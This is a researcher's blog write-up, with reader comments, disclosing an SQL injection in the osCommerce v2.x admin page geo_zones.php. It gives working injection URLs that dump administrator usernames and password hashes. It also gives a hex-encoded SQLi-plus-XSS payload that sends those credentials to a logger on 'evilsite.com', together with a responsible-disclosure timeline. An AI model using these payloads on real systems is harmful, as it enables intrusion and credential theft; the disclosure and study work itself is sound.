osCommerce v2.x SQL Injection Vulnerability Feb 6, 2014 Posted by Ahmed Aboul-Ela Write-ups 11 comments Hello everyone This is my first writeup and i would like to start it with the 0day vulnerability that i’ve found recently in osCommerce the well known open-source commerce web application . it wasn’t a very easy task for me to find a vulnerability in the oscommerce as it’s an open source and being developed for many years but i always like accepting the tough challenges so i wanted to start playing with it. it took from me around 3 hours reviewing almost every line in the script and finally i’ve successfully spotted sqli vulnerability at file in the admin panel, from the first look at the code i realized it should be vulnerable to sql injection. the bug exists @ line 139 in “catalog/admin/geo_zones.php” PHP $rows = 0; $zones_query_raw = "select a.association_id, a.zone_country_id, c.countries_name, a.zone_id, a.geo_zone_id, a.last_modified, a.date_added, z.zone_name from " . TABLE_ZONES_TO_GEO_ZONES . " a left join " . TABLE_COUNTRIES . " c on a.zone_country_id = c.countries_id left join " . TABLE_ZONES . " z on a.zone_id = z.zone_id where a.geo_zone_id = " . $HTTP_GET_VARS['zID'] . " order by association_id"; $zones_split = new splitPageResults($HTTP_GET_VARS['spage'], MAX_DISPLAY_SEARCH_RESULTS, $zones_query_raw, $zones_query_numrows); $zones_query = tep_db_query($zones_query_raw); 138139140141 $rows = 0;$zones_query_raw = "select a.association_id, a.zone_country_id, c.countries_name, a.zone_id, a.geo_zone_id, a.last_modified, a.date_added, z.zone_name from " . TABLE_ZONES_TO_GEO_ZONES . " a left join " . TABLE_COUNTRIES . " c on a.zone_country_id = c.countries_id left join " . TABLE_ZONES . " z on a.zone_id = z.zone_id where a.geo_zone_id = " . $HTTP_GET_VARS['zID'] . " order by association_id";$zones_split = new splitPageResults($HTTP_GET_VARS['spage'], MAX_DISPLAY_SEARCH_RESULTS, $zones_query_raw, $zones_query_numrows);$zones_query = tep_db_query($zones_query_raw); as shown above the zID query-string parameter has concatenated with the mysql query without any type of sanitization which leads directly to sql injection vulnerability. i tried first to proof that was correct so i opened the link https://localhost/oscommerce/admin/geo_zones.php?action=list&zID=1 added a single quote to the zID parameter and the result was really good . the mysql error confirmed that there’s an sql injection bug , now the time to do an easy exploitation. as shown from the mysql query error only 1 column being selected in the injected query, so doing “union select 1 —” should give me the expected injection result, but unfortunately this didn’t happen !! “The used SELECT statements have a different number of columns” it’s another different mysql query error ! this time the query have 8 columns selected, so trying to do “union select 1,2,3,4,5,6,7,8 — ” will work ? sadly no ! mysql error appeared again but this time it was again the first mysql query , so i noticed now that the zID parameter injected into two different mysql queries and seems there is no way to exploit this vulnerability except using a blind injection technique which will make the vulnerability totally useless but it’s still too early to give up, let’s take a look back into the code again and check if i can bypass one of those queries without causing any errors . i found that the function which cause the other sql query error was being called at the line 140 $zones_split = new splitPageResults($HTTP_GET_VARS['spage'], MAX_DISPLAY_SEARCH_RESULTS, $zones_query_raw, $zones_query_numrows) 140 $zones_split = new splitPageResults($HTTP_GET_VARS['spage'], MAX_DISPLAY_SEARCH_RESULTS, $zones_query_raw, $zones_query_numrows) navigate to the function declaration at “admin/includes/classes/split_page_results.php” i can see the following magical code PHP function splitPageResults(&$current_page_number, $max_rows_per_page, &$sql_query, &$query_num_rows) { if (empty($current_page_number)) $current_page_number = 1; $pos_to = strlen($sql_query); $pos_from = strpos($sql_query, ' from', 0); $pos_group_by = strpos($sql_query, ' group by', $pos_from); if (($pos_group_by < $pos_to) && ($pos_group_by != false)) $pos_to = $pos_group_by; $pos_having = strpos($sql_query, ' having', $pos_from); if (($pos_having < $pos_to) && ($pos_having != false)) $pos_to = $pos_having; $pos_order_by = strpos($sql_query, ' order by', $pos_from); if (($pos_order_by < $pos_to) && ($pos_order_by != false)) $pos_to = $pos_order_by; $reviews_count_query = tep_db_query("select count(*) as total " . substr($sql_query, $pos_from, ($pos_to - $pos_from))); $reviews_count = tep_db_fetch_array($reviews_count_query); $query_num_rows = $reviews_count['total']; $num_pages = ceil($query_num_rows / $max_rows_per_page); if ($current_page_number > $num_pages) { $current_page_number = $num_pages; } $offset = ($max_rows_per_page * ($current_page_number - 1)); $sql_query .= " limit " . max($offset, 0) . ", " . $max_rows_per_page; } [...] 141516171819202122232425262728293031323334353637383940 function splitPageResults(&$current_page_number, $max_rows_per_page, &$sql_query, &$query_num_rows) { if (empty($current_page_number)) $current_page_number = 1; $pos_to = strlen($sql_query); $pos_from = strpos($sql_query, ' from', 0); $pos_group_by = strpos($sql_query, ' group by', $pos_from); if (($pos_group_by < $pos_to) && ($pos_group_by != false)) $pos_to = $pos_group_by; $pos_having = strpos($sql_query, ' having', $pos_from); if (($pos_having < $pos_to) && ($pos_having != false)) $pos_to = $pos_having; $pos_order_by = strpos($sql_query, ' order by', $pos_from); if (($pos_order_by < $pos_to) && ($pos_order_by != false)) $pos_to = $pos_order_by; $reviews_count_query = tep_db_query("select count(*) as total " . substr($sql_query, $pos_from, ($pos_to - $pos_from))); $reviews_count = tep_db_fetch_array($reviews_count_query); $query_num_rows = $reviews_count['total']; $num_pages = ceil($query_num_rows / $max_rows_per_page); if ($current_page_number > $num_pages) { $current_page_number = $num_pages; } $offset = ($max_rows_per_page * ($current_page_number - 1)); $sql_query .= " limit " . max($offset, 0) . ", " . $max_rows_per_page; }[...] on line 29 i can see the sql query that caused the mysql error: tep_db_query(“select count(*) as total ” . substr($sql_query, $pos_from, ($pos_to – $pos_from))); but what’s this !? the function is doing a substring from the original sql_query starts at $pos_from and ends at $pos_to – $pos_from let’s see how those two variables were set [-] LINE 18: $pos_from = strpos($sql_query, ‘ from’, 0); [-] LINE 20: $pos_group_by = strpos($sql_query, ‘ group by’, $pos_from); [-] LINE 21: if (($pos_group_by < $pos_to) && ($pos_group_by != false)) $pos_to = $pos_group_by; oh i can see that $pos_from starts at from word in the original sql query and $pos_to ends at the group by word so if the original query have group by like the following: select a.association_id, a.zone_country_id, c.countries_name, a.zone_id, a.geo_zone_id, a.last_modified, a.date_added, z.zone_name from zones_to_geo_zones a left join countries c on a.zone_country_id = c.countries_id left join zones z on a.zone_id = z.zone_id where a.geo_zone_id = 1 group by 1 order by association_id then the sql query of split page results will look like the following: select count(*) as total from zones_to_geo_zones a left join countries c on a.zone_country_id = c.countries_id left join zones z on a.zone_id = z.zone_id where a.geo_zone_id = 1 so it will start the substring at the from word and will end at the group by word and the rest of the query will be ignored . this the best gift that osCommerce developers gave it to me now i can bypass the injection in one query and keep the other one injectable https://localhost/oscommerce/admin/geo_zones.php?action=list&zID=1 group by 1 union select 1,2,3,4,5,6,7,8 — as expected i can see the query working now and i see a new table row added in the page result, it will be easy now for me to extract anything from the tables, so let’s try to dump the admin login credentials https://localhost/oscommerce/admin/geo_zones.php?action=list&zID=1 group by 1 union select 1,2,3,4,5,6,7,concat(user_name,0x3a,user_password) from administrators — Amazing , everything went smoothly, but what’s the next step ? the vulnerability affects only the authenticated administrator and cannot exploit it without login to the admin panel. i should find a way to make it worth more so i came up with a good idea to use hybrid attack by using the sql injection with other attack vectors like XSS then we can use the xss to steal the administrator credentials , a real world attack scenario would be : 1) use the injection to extract the admin username and hashed password 2) inject a javascript code in the page that will parse and read the username and hash 3) send the data to remote php logger on evil domain so now the attack could be more reliable, just all you have to do to prepare the exploitation link then place it in hidden iframe in any web page , send this page link to the admin wait him to open the link afterwards you will catch his login data how we can perform this attack scenario ? simply we are going to inject the following simple javascript code in the page with the help of the jquery used in the oscommerce : JavaScript <script>document.location.href="https://evilsite.com/logger.php?log="+$("#test").html()</script> 1 <script>document.location.href="https://evilsite.com/logger.php?log="+$("#test").html()</script> and we are going to place the data extracted from sql injection in div tag with the id test XHTML <div id="test">[data here]</div> 1 <div id="test">[data here]</div> the final exploitation would be : https://localhost/oscommerce/catalog/admin/geo_zones.php?action=list&zID= 1 group by 1 union select 1,2,3,4,5,6,7,concat(0x3c6469762069643d2274657374223e,user_name,0x3d,user_password,0x3c2f6469763e3c7363726970743e646f63756d656e742e6c6f636174696f6e2e687265663d22687474703a2f2f6576696c736974652e636f6d2f6c6f676765722e7068703f6c6f673d222b242822237465737422292e68746d6c28293c2f7363726970743e) from administrators — just open the link and check the logger you will find the admin username and hashed password saved ! finally , here is a simple poc video demonstrate the attack scenario explained Time-Line: Mon, Feb 3, 2014 at 10:17 PM: vulnerability advisory sent to osCommerce Tue, Feb 4, 2014 at 01:14 AM: recevied initial reply from osCommerce Tue, Feb 4, 2014 at 02:06 AM: osCommerce released a quick fix for the vulnerability Thu, Feb 6, 2014 at 05:15 PM: the public responsible disclosure Thanks to the osCommerce team and especially Mr.gary burton for releasing a fast fix for the vulnerability
Reply ahmad goudah | February 7th, 2014 Good work. I am waiting to teach me 2nd order sql injection as we agreed before from almost 2 months after arab academy course. Thanks and regards Ahmad
Reply Ahmed Aboul-Ela | February 8th, 2014 Thanks Mr.Ahmad , yes i still remember that i will try to explain it for you insa2allah
Nice Exploit bro
Thanks mate
Good work. I am waiting to teach me 2nd order sql injection as we agreed before from almost 2 months after arab academy course.
Thanks and regards
Ahmad
Thanks Mr.Ahmad , yes i still remember that i will try to explain it for you insa2allah
Good work